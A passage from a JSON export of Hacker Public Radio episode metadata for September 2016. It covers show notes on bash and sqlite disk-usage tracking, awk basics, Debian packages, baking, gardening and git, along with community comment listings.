                                                              • Comment 3: Alpha32 on 2016-08-04: \"World oat domination\"
                                                              • \n\n
                                                              • Comment 4: Dave Morriss on 2016-08-06: \"Made in Scotland\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2081 (2016-07-25) \"Fixing my daughter's laptop\" by Dave Morriss.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 2: Alpha32 on 2016-08-07: \"Brilliant!\"
                                                              • \n\n
                                                              • Comment 3: Dave Morriss on 2016-08-07: \"I hope it never happens to you!\"
                                                              • \n\n
                                                              • Comment 4: Jonathan Kulp on 2016-08-07: \"I'm in the Same Boat\"
                                                              • \n\n
                                                              • Comment 5: Dave Morriss on 2016-08-07: \"Thanks for the hint Jon!\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2082 (2016-07-26) \"Basic Audio Production - Equalization\" by Nacho Jordi.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Jonas on 2016-08-13: \"New perspective.\"
                                                              • \n

                                                              \n
                                                            • \n
                                                            \n\n

                                                            There are 24 comments on 12 of this month's shows:

                                                            \n
                                                              \n
                                                            • hpr2086 (2016-08-01) \"HPR Community News for July 2016\" by HPR Volunteers.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Tony Hughes on 2016-08-03: \"Whats in My Bag\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2088 (2016-08-03) \"How my wife's grandma got me into linux.\" by Knightwise.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Tony Hughes on 2016-08-03: \"HPR 2088\"
                                                              • \n\n
                                                              • Comment 2: Steve on 2016-08-03: \"HPR 2088\"
                                                              • \n\n
                                                              • Comment 3: knightwise on 2016-08-04: \"Yeey Steve ! \"
                                                              • \n\n
                                                              • Comment 4: other_Steve on 2016-08-24:\"[no title]\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2089 (2016-08-04) \"Solving a blinkstick python problem\" by MrX.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Dave Morriss on 2016-08-13: \"Great show\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2090 (2016-08-05) \"A Docker Dialog\" by Thaj Sara.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Mr. Young on 2016-08-08: \"More interviews\"
                                                              • \n\n
                                                              • Comment 2: Thaj on 2016-08-17: \"Thanks!\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2091 (2016-08-08) \"Everyday Unix/Linux Tools for data processing\" by Mr. Young.
                                                            • \n\n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Jonathan Kulp on 2016-08-08: \"Ack!\"
                                                              • \n\n
                                                              • Comment 2: Ken Fallon on 2016-08-17: \"I love detox \"
                                                              • \n\n
                                                              • Comment 3: Dave Morriss on 2016-08-19: \"Thanks for mentioning 'ack'\"
                                                              • \n\n
                                                              • Comment 4: ivor on 2016-08-21: \"Interesting\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2093 (2016-08-10) \"GNU Health\" by Dave Morriss.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Clinton Roy on 2016-08-09:\"[no title]\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2094 (2016-08-11) \"Custom Keystrokes for Desktop Navigation on Gnome\" by Jon Kulp.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Dave Morriss on 2016-08-24: \"Using grep in a script\"
                                                              • \n\n
                                                              • Comment 2: Jon Kulp on 2016-08-25: \"Good tip\"
                                                              • \n\n
                                                              • Comment 3: Dave Morriss on 2016-08-25: \"grep -q\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2095 (2016-08-12) \"23 - SSL Certificates - How They Work\" by Ahuka.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Ken Fallon on 2016-08-18: \"Not allowed in the EU\"
                                                              • \n\n
                                                              • Comment 2: Kevin O'Brien on 2016-08-19: \"Different in EU\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2096 (2016-08-15) \"Useful Bash functions - part 2\" by Dave Morriss.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Ken Fallon on 2016-08-18: \"Here's me with the questions\"
                                                              • \n\n
                                                              • Comment 2: Dave Morriss on 2016-08-18: \"Some answers for you...\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2097 (2016-08-16) \"New Toys\" by Tony Hughes AKA TonyH1212.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Tony Hughes on 2016-08-05: \"New Toys\"
                                                              • \n\n
                                                              • Comment 2: Frank on 2016-08-19:\"[no title]\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2106 (2016-08-29) \"My Podcast Client\" by MrX.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Dave Morriss on 2016-08-31: \"I had forgotten hpodder\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2107 (2016-08-30) \"Makefiles for Everyday Use\" by Jon Kulp.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 1: Fweeb on 2016-08-31: \".PHONY\"
                                                              • \n

                                                              \n
                                                            • \n
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2112,"date":"2016-09-06","title":"My old home server","duration":945,"summary":"A show about my old home server","notes":"","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, hardware, server","version":0,"downloads":0,"valid":1}, {"id":2113,"date":"2016-09-07","title":"sqlite and bash","duration":894,"summary":"Using cron, du,sqlite, and bash to find directory growth","notes":"

                                                            Crontab

                                                            \n

                                                            0 3 * * 0 /bin/du -m /data/ > /home/USER/du_files/"du_$(/bin/date +\\%Y\\%m\\%d)"

                                                            \n

                                                            Script

                                                            \n
                                                            cd ~/du_files\nTODAYS_FILE="du_$(/usr/bin/date +%Y%m%d)"\nYESTERDAYS_FILE="du_$(/usr/bin/date --date="7 days ago" +%Y%m%d)"\n/usr/bin/echo "create table old (oldsize integer, path varchar);" > delta.sql\n/usr/bin/echo "create table new (newsize integer, path varchar);" >> delta.sql\n/usr/bin/echo '.separator "\\t" ' >> delta.sql\n/usr/bin/echo ".import $TODAYS_FILE new" >> delta.sql\n/usr/bin/echo ".import $YESTERDAYS_FILE old" >> delta.sql\n/usr/bin/echo ".mode csv" >> delta.sql\n/usr/bin/echo ".headers on" >> delta.sql\n/usr/bin/echo ".out deltas.csv" >> delta.sql\n/usr/bin/echo "select *,newsize-oldsize as delta_in_megabytes from old natural join new where oldsize<newsize order by delta_in_megabytes desc;" >> delta.sql\n\n/usr/bin/sqlite3 < delta.sql\n\necho $YESTERDAYS_FILE|/usr/bin/mailx -a deltas.csv -s deltas.csv me@mywork.com
                                                            \n

                                                            Resulting SQL

                                                            \n
                                                            create table old (oldsize integer, path varchar);\ncreate table new (newsize integer, path varchar);\n.separator "\\t"\n.import du_20160821 new\n.import du_20160814 old\n.mode csv\n.headers on\n.out deltas.csv\nselect *,newsize-oldsize as delta_in_megabytes\nfrom old    natural join new    where oldsize<newsize\norder by delta_in_megabytes desc;
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bash,sqlite","version":0,"downloads":0,"valid":1}, {"id":2114,"date":"2016-09-08","title":"Gnu Awk - Part 1","duration":1350,"summary":"An introduction the the awk text parsing tool","notes":"

                                                            Introduction to Awk

                                                            \n

                                                            Awk is a powerful text parsing tool for unix and unix-like systems.

                                                            \n

                                                            The basic syntax is:

                                                            \n
                                                            awk [options] 'pattern {action}' file
                                                            \n

                                                            Here is a simple example file that we will be using, called file1.txt:

                                                            \n
                                                            name       color  amount\napple      red    4\nbanana     yellow 6\nstrawberry red    3\ngrape      purple 10\napple      green  8\nplum       purple 2\nkiwi       brown  4\npotato     brown  9\npineapple  yellow 5
                                                            \n

                                                            First command:

                                                            \n
                                                            awk '{print $2}' file1.txt
                                                            \n

                                                            As you can see, the “print” command will display the whatever follows. In this case we are showing the second column using “$2”. This is intuitive. To display all columns, use “$0”.

                                                            \n

                                                            This example will output:

                                                            \n
                                                            color\nred\nyellow\nred\npurple\ngreen\npurple\nbrown\nbrown\nyellow
                                                            \n

                                                            Second command:

                                                            \n
                                                            awk '$2=="yellow"{print $1}' file1.txt
                                                            \n

                                                            This will output:

                                                            \n
                                                            banana\npineapple
                                                            \n

                                                            As you can see, the command matches items in column 2 matching “yellow”, but prints column 1.

                                                            \n

                                                            Field separator

                                                            \n

                                                            By default, awk uses white space as the file separator. You can change this by using the -F option. For instance, file1.csv looks like this:

                                                            \n
                                                            name,color,amount\napple,red,4\nbanana,yellow,6\nstrawberry,red,3\ngrape,purple,10\napple,green,8\nplum,purple,2\nkiwi,brown,4\npotato,brown,9\npineapple,yellow,5
                                                            \n

                                                            A similar command as before:

                                                            \n
                                                            awk -F"," '$2=="yellow" {print $1}' file1.csv
                                                            \n

                                                            will still output:

                                                            \n
                                                            banana\npineapple
                                                            \n

                                                            Regular expressions work as well:

                                                            \n
                                                            awk '$2 ~ /p.+p/ {print $0}' file1.txt
                                                            \n

                                                            This returns:

                                                            \n
                                                            grape   purple  10\nplum    purple  2
                                                            \n

                                                            Numbers are interpreted automatically:

                                                            \n
                                                            awk '$3>5 {print $1, $2}' file1.txt
                                                            \n

                                                            Will output:

                                                            \n
                                                            name    color\nbanana  yellow\ngrape   purple\napple   green\npotato  brown
                                                            \n

                                                            Using output redirection, you can write your results to file. For example:

                                                            \n
                                                            awk -F, '$3>5 {print $1, $2}' file1.csv > output.txt
                                                            \n

                                                            This will output a file with the contents of the query.

                                                            \n

                                                            Here’s a cool trick! You can automatically split a file into multiple files grouped by column. For example, if I want to split file1.txt into multiple files by color, here is the command.

                                                            \n
                                                            awk '{print > $2".txt"}' file1.txt
                                                            \n

                                                            This will produce files named yellow.txt, red.txt, etc. In upcoming episodes, we will show how to improve the outputs.

                                                            \n

                                                            Resources

                                                            \n
                                                              \n
                                                            1. https://www.theunixschool.com/p/awk-sed.html
                                                            2. \n
                                                            3. https://www.tecmint.com/category/awk-command/
                                                            4. \n
                                                            5. https://linux.die.net/man/1/awk
                                                            6. \n
                                                            \n

                                                            Coming up

                                                            \n
                                                              \n
                                                            • More options
                                                            • \n
                                                            • Built-in Variables
                                                            • \n
                                                            • Arithmetic operations
                                                            • \n
                                                            • Awk language and syntax
                                                            • \n
                                                            \n","hostid":300,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"awk,bash,linux","version":0,"downloads":0,"valid":1}, {"id":2115,"date":"2016-09-09","title":"Apt Spelunking 3: nodm, cmus, and parecord","duration":801,"summary":"Windigo wades through the Debian repositories and brings attention to some of the good stuff.","notes":"

                                                            Hello, this is Windigo, and Welcome to the another episode of apt spelunking! If you missed the first episode, then you probably missed the second episode as well. I assure you, they were fantastic; no need to go back and check.

                                                            \n

                                                            This series (and yes, it’s official now) is about finding uncommon packages that are buried in the Debian repos. It could very well be about finding packages in other repos, but no Arch, Fedora, Ubuntu or OpenSUSE users are smart or handsome enough to contribute an episode.

                                                            \n

                                                            In no particular order, here are a few more packages I’ve discovered.

                                                            \n

                                                            nodm

                                                            \n

                                                            nodm is a very small, very specific utility that is used to start an X session automatically.

                                                            \n

                                                            On Debian, you configure nodm with the configuration file located at /etc/defaults/nodm. You can specify whether or not nodm is enabled, which user to run as, and what x session to run.

                                                            \n

                                                            While hugely insecure, nodm is a great way to avoid the hassle of a full display manager like gdm or lightdm. It’s extremely lightweight, which is perfect for my Mini 9, and kicks things right into my custom i3 session.

                                                            \n

                                                            cmus

                                                            \n

                                                            cmus is a very comprehensive, console-based music player. cmus stands for “C* music player“.

                                                            \n

                                                            I received cmus as a recommendation from chalkahlom (Gavin) while looking for a media player suitable for the Mini 9. It is a very light application (1.5M uncompressed), which suited my needs well.

                                                            \n

                                                            The interface of cmus is slightly strange, and may take some getting used to. It is broken up into seven “views”, which can be accessed using the number keys. The views are “Library”, “Sorted Library”, “Playlist”, “Play Queue”, “Browser”, “Filters”, and “Settings”.

                                                            \n

                                                            To be honest, I still haven’t given cmus a fair shake. It seems like an excellent music player, but I’m still unable to break away from the familiarity of audacious. I’m once again reaffirming my commitment to trying cmus out; it seems like a really good player, if given the time of day.

                                                            \n

                                                            parecord

                                                            \n

                                                            Pulseaudio comes with a selection of very handy command-line utilities that can be used to play and record audio in various formats. The one I’d like to discuss is “parecord”.

                                                            \n

                                                            Ordinarily, I do all of my podcast recording with the arecord utility, which talks directly to ALSA. Last time I tried this, it very badly broke audacity when I tried to import the audio. I sounded like a chipmunk, and then audacity crashed.

                                                            \n

                                                            parecord is a nice alternative to arecord, because it also does encoding on the fly. There may be an ALSA equivalent that also encodes your audio as you’re recording, but I don’t know about it. At best, you’d have to pipe the output of arecord to avconv or a similar utility.

                                                            \n

                                                            Using parecord, I can specify the file format using the --file-format flag, and record directly to FLAC, which is what HPR prefers. Other formats are available, but I think FLAC is a good balance of quality and compression.

                                                            \n

                                                            If you prefer the raw recording style of arecord, there is a utility called parec which will record raw audio data, but it’s a bit outside of the scope of this podcast. Also, I don’t really know much about it.

                                                            \n
                                                            \n

                                                            I hope someone can find some use in the applications I’ve mentioned here. If you have some other packages that you find indispensable and/or useful, I’d love to hear about them in your very own episode.

                                                            \n","hostid":196,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"linux, pulseaudio, music","version":0,"downloads":0,"valid":1}, {"id":2116,"date":"2016-09-12","title":"Duffer Gardening","duration":746,"summary":"Prior to a Duffercast recording chalkahlom, inscius and I had a conversation about gardening","notes":"

                                                            Duffer Gardening

                                                            \n

                                                            In August I was invited on the Duffercast podcast as a guest.

                                                            \n

                                                            While waiting for all of the participants to arrive, inscius (Mikael) in Sweden, chalkahlom (Gavin) in Hungary and myself in Edinburgh, Scotland, decided to record a show for HPR, since we were using Mumble. Because two of the participants are gardeners we chatted about gardening.

                                                            \n

                                                            This show is the result.

                                                            \n

                                                            More about The Duffercast may be found at https://duffercast.org/.

                                                            \n

                                                            Thanks also to The Bugcast for the use of their Mumble server!

                                                            \n

                                                            Note: The Calendula that Mikael mentioned is more commonly known as a Marigold https://en.wikipedia.org/wiki/Calendula.

                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"duffer,gardening","version":0,"downloads":0,"valid":1}, {"id":2117,"date":"2016-09-13","title":"What's in my bag for Podcrawl?","duration":771,"summary":"Dave shows us what is in the bag he's taking to the London Podcrawl.","notes":"

                                                            What’s in my bag for Podcrawl?

                                                            \n

                                                            Videos

                                                            \n

                                                            [Video on Periscope] [Video on Mediagoblin]

                                                            \n

                                                            Products

                                                            \n

                                                            Mountain Warehouse backpack
                                                            \nI couldn’t find exact model (I believe it was in a sale), but likely to be a 10 litre backpack
                                                            \n[mountainwarehouse.com]

                                                            \n

                                                            Google Pixel C - Android tablet
                                                            \n[google.com]

                                                            \n

                                                            Microsoft Universal Mobile Keyboard
                                                            \n[microsoft.com][amazon.co.uk]

                                                            \n

                                                            AmazonBasics 7-inch Black Sleeve
                                                            \n[amazon.co.uk]

                                                            \n

                                                            AmazonBasics 10-inch Black Sleeve
                                                            \n[amazon.co.uk]

                                                            \n

                                                            Samson Q2U Microphone (USB/XLR)
                                                            \n[samsontech.com][amazon.co.uk]

                                                            \n

                                                            Olympus DM-3 Portable Recorder
                                                            \n[olympus.co.uk][amazon.co.uk]

                                                            \n

                                                            Marshall Major Headphones
                                                            \n[amazon.co.uk]

                                                            \n

                                                            Microsoft 3600 Bluetooth Mobile Mouse
                                                            \n[microsoft.com][amazon.co.uk]

                                                            \n

                                                            Smartphone Audio Splitters
                                                            \n[amazon.co.uk black one][amazon.co.uk white one]

                                                            \n

                                                            Neewer 3.5mm Hands Free Computer Clip on Mini Lapel Microphone
                                                            \n[amazon.co.uk]

                                                            \n

                                                            Samsung OTG MicroUSB Connector
                                                            \n[handtec.co.uk]

                                                            \n

                                                            Exibel USB Powerbank
                                                            \n(actually, these aren’t that good)
                                                            \n[clasohlson.co.uk]

                                                            \n

                                                            Samsung Galaxy S7 Edge
                                                            \n[samsung.com]

                                                            \n

                                                            All other products mentioned are fairly generic and/or commonplace. Links are provided for information only, and do not represent a recommendation of purchase from any particular vendor, although I may have purchased the items from that vendor myself.

                                                            \n","hostid":314,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"backpack,Google Pixel C,Samson Q2U Microphone,Olympus DM-3,Marshall Major Headphones,Neewer 3.5mm Lapel Microphone","version":0,"downloads":0,"valid":1}, {"id":2118,"date":"2016-09-14","title":"What is App Inventor?","duration":1072,"summary":"An overview of the online free Android app creator","notes":"

                                                            \nhttps://appinventor.mit.edu/ \n

                                                            \n

                                                            \nFrom https://en.wikipedia.org/wiki/App_Inventor_for_Android\n

                                                            \n

                                                            \nApp Inventor for Android is an open-source web application originally provided by Google, and now maintained by the Massachusetts Institute of Technology (MIT).\n

                                                            \n

                                                            \nIt allows newcomers to computer programming to create software applications for the Android operating system (OS). It uses a graphical interface, very similar to Scratch and the StarLogo TNG user interface, which allows users to drag-and-drop visual objects to create an application that can run on Android devices. In creating App Inventor, Google drew upon significant prior research in educational computing, as well as work done within Google on online development environments.\n

                                                            \n","hostid":323,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Android, Programming, Apps, Free apps, Online services, Programming languages","version":0,"downloads":0,"valid":1}, {"id":2119,"date":"2016-09-15","title":"Making Chocolate Chip Cookies","duration":2436,"summary":"Listen live as I make a batch of really tasty chocolate chip cookies","notes":"

                                                            \"Baking

                                                            \n\n

                                                            The $250 Cookie Recipe

                                                            \n\n

                                                            Ingredients

                                                            \n\n

                                                            1 cup butter
                                                            \n1 cup sugar
                                                            \n1 cup brown sugar
                                                            \n1 tsp. vanilla
                                                            \n2 eggs
                                                            \n2 cups flour
                                                            \n1 tsp. soda
                                                            \n1 tsp. baking powder
                                                            \n2½ cups blended oatmeal
                                                            \n½ tsp. salt
                                                            \n\n12 oz. chocolate chips
                                                            \n1½ cups chopped nuts (your choice)

                                                            \n\n

                                                            Directions

                                                            \n\n

                                                            Cream the butter and both sugars. Add eggs and vanilla. Mix dry ingredients together in separate bowl. Combine with the butter/sugar/egg mixture. Add chocolate chips. Roll into balls and place 2 inches apart on a cookie sheet.

                                                            \n\n

                                                            Bake for 10–12 minutes at 375°F.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Cooking, Baking, Yummy Things, Recipes, Cookies, Desserts","version":0,"downloads":0,"valid":1}, {"id":2120,"date":"2016-09-16","title":"WEBDUMP wmap EyeWitness phantomjs selenium","duration":677,"summary":"Automate the process of finding unique websites, removing dupes and getting screenshots","notes":"","hostid":36,"series":0,"explicit":0,"license":"CC-0","tags":"curl,sed,gawk,Burp Suite,EyeWitness,MetaSploit,wmap","version":0,"downloads":0,"valid":1}, {"id":2121,"date":"2016-09-19","title":"Dark Cults Tabletop Game","duration":1795,"summary":"Klaatu discusses the EOL tabletop game DARK CULTS","notes":"

                                                            Klaatu talks about the long-gone (but not forgotten, clearly) DARK CULTS tabletop game. His print-and-play revival is available here: https://gitlab.com/notklaatu/darkoccult

                                                            \n","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame","version":0,"downloads":0,"valid":1}, {"id":2122,"date":"2016-09-20","title":"Alpha32's new machine","duration":506,"summary":"I built a new computer.","notes":"

                                                            I built a new desktop computer with AMD components.

                                                            ","hostid":303,"series":57,"explicit":1,"license":"CC-BY-SA","tags":"desktop, building, linux, AMD","version":0,"downloads":0,"valid":1}, {"id":2123,"date":"2016-09-21","title":"How I make coffee","duration":351,"summary":"A show about how I use my Coffee Gator","notes":"

                                                            The coffee gator is a pretty nice device, as is the swan-necked kettle they have. I recommend both.

                                                            \n","hostid":303,"series":88,"explicit":1,"license":"CC-BY-SA","tags":"coffee, coffee gator, pour over, chemex","version":0,"downloads":0,"valid":1}, {"id":2124,"date":"2016-09-22","title":"Repairing a Cloth Shopping Bag with a Sewing Machine","duration":1276,"summary":"I talk while sewing the strap back onto a cloth shopping bag","notes":"

                                                            In this episode I repair one of the straps/handles of a cloth shopping bag. I talk about using a sewing machine, about those dreadful bobbins, and about sewing a Halloween costume one time. I actually cut out about four or five minutes of near silence from when I was trying to get the thread to go through the needle. That's getting much harder to do as I get older. See the Pictures too.

                                                            \n\n\"Shopping\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, sewing, fixing stuff, repairs","version":0,"downloads":0,"valid":1}, {"id":2125,"date":"2016-09-23","title":"My mobile recording solution","duration":144,"summary":"How I record decent audio in my creeper van.","notes":"

                                                            I use a Plantronics USB headset, my Chromebook, Linux, and Audacity to record on the go.

                                                            ","hostid":303,"series":45,"explicit":1,"license":"CC-BY-SA","tags":"chromebook, mobile, recording, audio","version":0,"downloads":0,"valid":1}, {"id":2126,"date":"2016-09-26","title":"My new (old) tablet","duration":455,"summary":"How I got the cruft off my LG Gpad 7","notes":"

                                                            It took a while, but I finally figured out how to install custom recovery and flash a new OS on my $1 tablet.

                                                            \n","hostid":303,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"v410, LG, gpad, cyanogenmod, tablet, mobile, hack","version":0,"downloads":0,"valid":1}, {"id":2127,"date":"2016-09-27","title":"Tabletop Gaming","duration":2051,"summary":"Klaatu ponders analogue programming and tabletop gaming","notes":"

                                                            Klaatu ponders analogue programming and tabletop gaming.

                                                            \n","hostid":78,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame","version":0,"downloads":0,"valid":1}, {"id":2128,"date":"2016-09-28","title":"Various glass bottle cutting methods","duration":857,"summary":"This episode I chat briefly about glass bottle cutting and my experiences with it.","notes":"

                                                            This episode describes various methods of glass bottle cutting and my experience

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"glass,glass cutting,bottle cutting","version":0,"downloads":0,"valid":1}, {"id":2129,"date":"2016-09-29","title":"Gnu Awk - Part 2","duration":1598,"summary":"We examine how Awk works, records and fields, printing and program files","notes":"

                                                            Gnu Awk - Part 2

                                                            \n

                                                            This is the second episode in a series where Mr. Young and I will be looking at the AWK language (more particularly its GNU variant gawk). It is a comprehensive interpreted scripting language designed to be used for manipulating text.

                                                            \n

                                                            I have written out a moderately long set of notes for this episode. Click the link to see them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk language, gawk, text manipulation","version":0,"downloads":0,"valid":1}, {"id":2130,"date":"2016-09-30","title":"Git push to two repositories at once","duration":1464,"summary":"Klaatu demonstrates how to perform one git push to two separate repositories","notes":"
                                                              \n
                                                            1. Set up your git remotes (‘origin’ and ‘foo’)

                                                            2. \n
                                                            3. Create a new remote (‘all’) entry to encompass the existing targets

                                                            4. \n
                                                            5. Adjust ssh config as needed

                                                            6. \n
                                                            7. git push all HEAD

                                                            8. \n
                                                            \n","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git,git push,multiple repositories","version":0,"downloads":0,"valid":1}, {"id":2131,"date":"2016-10-03","title":"HPR Community News for September 2016","duration":5065,"summary":"HPR Community News for September 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n norrist.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2109Thu2016-09-01Hacking my inner earDave Morriss
                                                            2110Fri2016-09-02Overhauling a Bicycle HubJon Kulp
                                                            2111Mon2016-09-05HPR Community News for August 2016HPR Volunteers
                                                            2112Tue2016-09-06My old home serverMrX
                                                            2113Wed2016-09-07sqlite and bashnorrist
                                                            2114Thu2016-09-08Gnu Awk - Part 1Mr. Young
                                                            2115Fri2016-09-09Apt Spelunking 3: nodm, cmus, and parecordWindigo
                                                            2116Mon2016-09-12Duffer GardeningDave Morriss
                                                            2117Tue2016-09-13What's in my bag for Podcrawl?thelovebug
                                                            2118Wed2016-09-14What is App Inventor?Nacho Jordi
                                                            2119Thu2016-09-15Making Chocolate Chip CookiesJon Kulp
                                                            2120Fri2016-09-16WEBDUMP wmap EyeWitness phantomjs seleniumoperat0r
                                                            2121Mon2016-09-19Dark Cults Tabletop Gameklaatu
                                                            2122Tue2016-09-20Alpha32's new machineAlpha32
                                                            2123Wed2016-09-21How I make coffeeAlpha32
                                                            2124Thu2016-09-22Repairing a Cloth Shopping Bag with a Sewing MachineJon Kulp
                                                            2125Fri2016-09-23My mobile recording solutionAlpha32
                                                            2126Mon2016-09-26My new (old) tabletAlpha32
                                                            2127Tue2016-09-27Tabletop Gamingklaatu
                                                            2128Wed2016-09-28Various glass bottle cutting methodsoperat0r
                                                            2129Thu2016-09-29Gnu Awk - Part 2Dave Morriss
                                                            2130Fri2016-09-30Git push to two repositories at onceklaatu
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-September/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 26 comments in total.

                                                            \n

                                                            There are 4 comments on\n3 previous shows:

                                                            \n
                                                            • hpr2059\n(2016-06-23) \"More Tech, Less Magic\"\nby Todd Mitchell.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nStilvoid on 2016-09-07:\n\"Seconded!\"

                                                              \n
                                                            • hpr2095\n(2016-08-12) \"23 - SSL Certificates - How They Work\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nclacke on 2016-09-21:\n\"Different within EU\"

                                                              \n
                                                            • hpr2107\n(2016-08-30) \"Makefiles for Everyday Use\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nJonathan Kulp on 2016-09-01:\n\".REAL\"
                                                              • Comment 3:\nDave Morriss on 2016-09-01:\n\""Copy and paste programming"\"

                                                              \n
                                                            \n

                                                            There are 22 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2111\n(2016-09-05) \"HPR Community News for August 2016\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2016-09-05:\n\"Show 2111\"
                                                              • Comment 2:\nkdmurray on 2016-09-07:\n\"Audio tours\"
                                                              • Comment 3:\nKen Fallon on 2016-09-07:\n\"Love It\"

                                                              \n
                                                            • hpr2113\n(2016-09-07) \"sqlite and bash\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmackrackit on 2016-09-06:\"[no title]\"
                                                              • Comment 2:\nJONATHAN KULP on 2016-09-08:\n\"Worst ever?\"
                                                              • Comment 3:\nGumnos on 2016-09-08:\n\"Cleaning up the script\"
                                                              • Comment 4:\nKevin O'Brien on 2016-09-08:\n\"Excellent show!\"
                                                              • Comment 5:\nnorrist on 2016-09-08:\"[no title]\"
                                                              • Comment 6:\nDave Morriss on 2016-09-10:\n\"I enjoyed this\"

                                                              \n
                                                            • hpr2115\n(2016-09-09) \"Apt Spelunking 3: nodm, cmus, and parecord\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2016-09-10:\n\"Thanks for parecord\"

                                                              \n
                                                            • hpr2116\n(2016-09-12) \"Duffer Gardening\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCol on 2016-09-24:\n\"Info\"
                                                              • Comment 2:\nDave Morriss on 2016-09-24:\n\"Re: Info\"

                                                              \n
                                                            • hpr2119\n(2016-09-15) \"Making Chocolate Chip Cookies\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2016-09-15:\n\"How about some cajun cooking?\"
                                                              • Comment 2:\nJonathan Kulp on 2016-09-16:\n\"cajun cooking\"
                                                              • Comment 3:\nMrsXoke on 2016-09-19:\n\"You Learn Something New Everyday\"
                                                              • Comment 4:\nJonathan Kulp on 2016-09-20:\n\"Mom's wisdom\"
                                                              • Comment 5:\nguitarman on 2016-09-27:\n\"Yum!\"

                                                              \n
                                                            • hpr2120\n(2016-09-16) \"WEBDUMP wmap EyeWitness phantomjs selenium\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2016-09-23:\n\"Nice\"

                                                              \n
